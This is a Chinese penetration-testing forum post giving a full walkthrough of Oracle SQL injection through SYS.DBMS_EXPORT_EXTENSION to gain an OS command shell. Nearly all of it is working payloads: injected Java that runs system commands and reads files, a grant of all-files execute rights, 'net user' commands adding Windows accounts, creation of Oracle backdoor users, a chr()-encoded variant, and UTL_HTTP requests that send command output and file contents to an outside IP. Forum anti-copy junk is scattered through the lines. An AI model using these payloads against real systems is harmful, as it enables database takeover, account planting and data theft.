中国网络渗透测试联盟

标题: 实例演示oracle注入获取cmdshell的全过程 [打印本页]

作者: admin    时间: 2012-12-18 12:21
标题: 实例演示oracle注入获取cmdshell的全过程
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 # h) S- N- v1 x) i: v

) m8 W6 K- u* p" Z9 w  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) + H  q5 L# ~# H0 Q7 q
的形式即可。(用" 'a'|| "是为了让语句返回true值) # D0 ?. R7 k. z; `" q% J/ F
语句有点长,可能要用post提交。   a! O; [9 ~# J& @) P$ m4 C
以下是各个步骤: & [8 _6 y: H( H0 {4 t% d1 @& j; p! O
1.创建包
6 L0 h0 M+ v  c$ ]3 C" ~! N2 Z  g通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
# W- Z" N! _" y/ y! Y/xxx.jsp?id=1 and '1'<>'a'||(   v8 [7 ^6 G6 ~) {
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ ]( O7 ~! d3 {% ~5 I" J& wcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
  w0 ^' g5 [8 F) Q' _new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
" f0 y. q) |: K' L}'''';END;'';END;--','SYS',0,'1',0) from dual
8 L2 n! z# q* k! e/ j) J- f4 i)
1 N2 s- L- R8 k------------------------
0 W3 C; v/ g/ e% d9 L! Z如果url有长度限制,可以把readFile()函数块去掉,即:   D6 x% R9 v( w/ e! e9 x
/xxx.jsp?id=1 and '1'<>'a'||( - H; D/ y* ?% R# |# O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ }3 ]1 b2 b& F$ R# {' b2 p& H
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
7 R' _9 I0 x% A$ Q0 F0 D% r( snew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
2 J& M* D) i. M6 A  ~2 W}'''';END;'';END;--','SYS',0,'1',0) from dual ; \' ~7 g, N4 J9 ?! t' f1 I; ^
) # ^4 }/ O+ n2 ^1 g) E& @9 `/ h
同时把后面步骤 提到的 对readFile()的处理语句去掉。 1 ~7 h: K! ~8 ^5 c( k
------------------------------
4 N' o" i% Z$ ]& S, G2.赋Java权限   s/ H# e: s% k  d& @# F  d
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual4 C! ]. M3 [! k9 r" i% B
3.创建函数
3 o! M0 J: f9 I. p, oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. H0 M; S; y- T$ j! I& Z9 D  o0 @. rcreate or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
% O+ r8 B8 k& U, x3 O0 Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: C5 E. j) s) e  L- h! Bcreate or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
3 B9 Y* C! b  X; T9 \: P4 p& q4.赋public执行函数的权限
' O, t# ^9 a0 f; Z/ N" Gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual% j2 m9 h+ G, H! e8 _" `" U9 H0 x0 e
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual* S5 R" S5 Y7 |' {1 U& D) A+ s7 W
5.测试上面的几步是否成功
9 F, b' k  ~1 B4 q) v) d" l( @- y7 ~and '1'<>'11'||(
: [7 Q- U: F; a( \! Hselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD' 5 R1 {$ n& K, ~+ U& ^5 Z3 j& t! p
)
! d: x3 j4 q, E, O1 ~and '1'<>(
# n+ X. i& V1 w1 xselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE' 5 z/ @- c2 ~7 w
) $ X: H* S# W/ Y- T2 U
6.执行命令: 8 ^9 C* k& I8 q& e
/xxx.jsp?id=1 and '1'<>( " ^" U( d7 c3 [
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual 3 q% J$ o5 y) _; V6 ^6 q
% z- U7 W! t9 V) @6 s; d7 |
)
, T6 A7 ^  F5 c0 o" \  u( E, g/xxx.jsp?id=1 and '1'<>(
7 g% R5 U& u% G+ I' Xselect  sys.LinxReadFile('c:/boot.ini') from dual
; g! s8 O- }! b" l+ F7 Y. h+ j. ^9 B6 h. b
)6 C( }1 M1 M( j  P6 M: s7 r/ u
  ' r3 k: W- _1 c! f5 j( w# Y, [
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 % A7 E1 k: ?* ~. \# l1 p7 \
如果要查看运行结果可以用 union :
: H# j" m- J: c* c2 }' B/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
5 e# }" l7 F7 f( \  e0 q4 y- c* \) R8 F或者UTL_HTTP.request(: * M9 N6 ^1 q4 ], O, ~6 L
/xxx.jsp?id=1 and '1'<>( ' I/ m4 W# ~" Q$ u) Q! s
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual5 o4 q3 V$ F& Z3 j7 y8 _( M
) 4 S& _* M& V2 W- k1 d
/xxx.jsp?id=1 and '1'<>(
0 y* @" o) E  z- uSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual: V( ^" h8 \" a
)
4 p+ l/ J9 u/ f. r3 x注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。4 U2 H  s' [0 P. T: t* |( d
--------------------
0 F( w% k' V) S, I2 }1 z6.内部变化
8 _; E/ O$ R# z9 I通过以下命令可以查看all_objects表达改变: ! \3 W& n/ i/ |" e: C) x: @3 L5 K
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'4 E. p* C5 H9 _' ]' w# j, d/ M
7.删除我们创建的函数
3 c) X9 t$ c! Y& K( |# qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# y# e! Z' m0 c* P$ pdrop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual - }2 W* ]* Q7 k
==================================================== 4 g  {/ `: Z7 ~% f* V# J2 I
全文结束。谨以此文赠与我的朋友。
: o) A! u# F: h% i  L/ s5 I5 blinx
* [" I$ t# C. Z/ G( F3 T$ X124829445
3 b) Y& t, ^" W2008.1.12 - {( f  M& B/ w5 u
linyujian@bjfu.edu.cn
. u; {6 v4 d" Q' Z2 Q======================================================================
! B/ Y8 y: S2 h+ L+ p0 \4 n4 e测试漏洞的另一方法:
& Q6 O5 J( d6 f6 F5 }" L$ d' e- v0 P创建oracle帐号:
1 ^* I8 M) B7 e: p: K* D( bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% H2 P' b, L3 F5 p2 X; y
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
& _) ]+ O2 \! v/ k; Y即:
) u1 Z' f) n, F; S+ Q" @select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),# \2 G+ C4 H. q" D
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual " _; p$ X) N$ P: D$ M/ l
确定漏洞存在:
& x5 c5 J( d/ v1 ^( W* c1<>(
, J/ @8 a' K, X) M6 R4 xselect user_id from all_users where username='LINXSQL' # x$ V) ~; R. X( F
)
) v# V) ~' ]" a5 `9 K. ?$ Q: I" F4 \给linxsql连接权限: - g+ W& @0 L$ v$ |9 G
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ @7 `( d& o# m, QGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
; j4 L* \- |1 \1 z& A* n删除帐号: , n, s7 P" e; O  j- ^
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) O! K1 K5 {7 I- u" t1 j- h$ t7 p% {drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual % ~* t: T5 S' C) f: a$ j
======================
- j) D/ s+ V4 q8 A+ C+ {以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:9 r/ k/ h* j, l0 U& i8 ~5 G
1.jsp?id=1 and '1'<>( # G3 K' m- Y" l4 Q# m$ H' ?9 p" r
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; i8 B# z* K* Y: R. G2 k8 t. B7 mcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual* J. o% ?3 L! z% t8 m1 [" g; @1 f
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
  k$ @, s" R" ?& l! e )
" z# V' u5 l+ T7 R2 R7 s& M; n, p) b, g3 P

4 P# y, g* l/ v/ D* b- |- x8 L7 I  a, Z5 a% m3 q- ~7 f





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2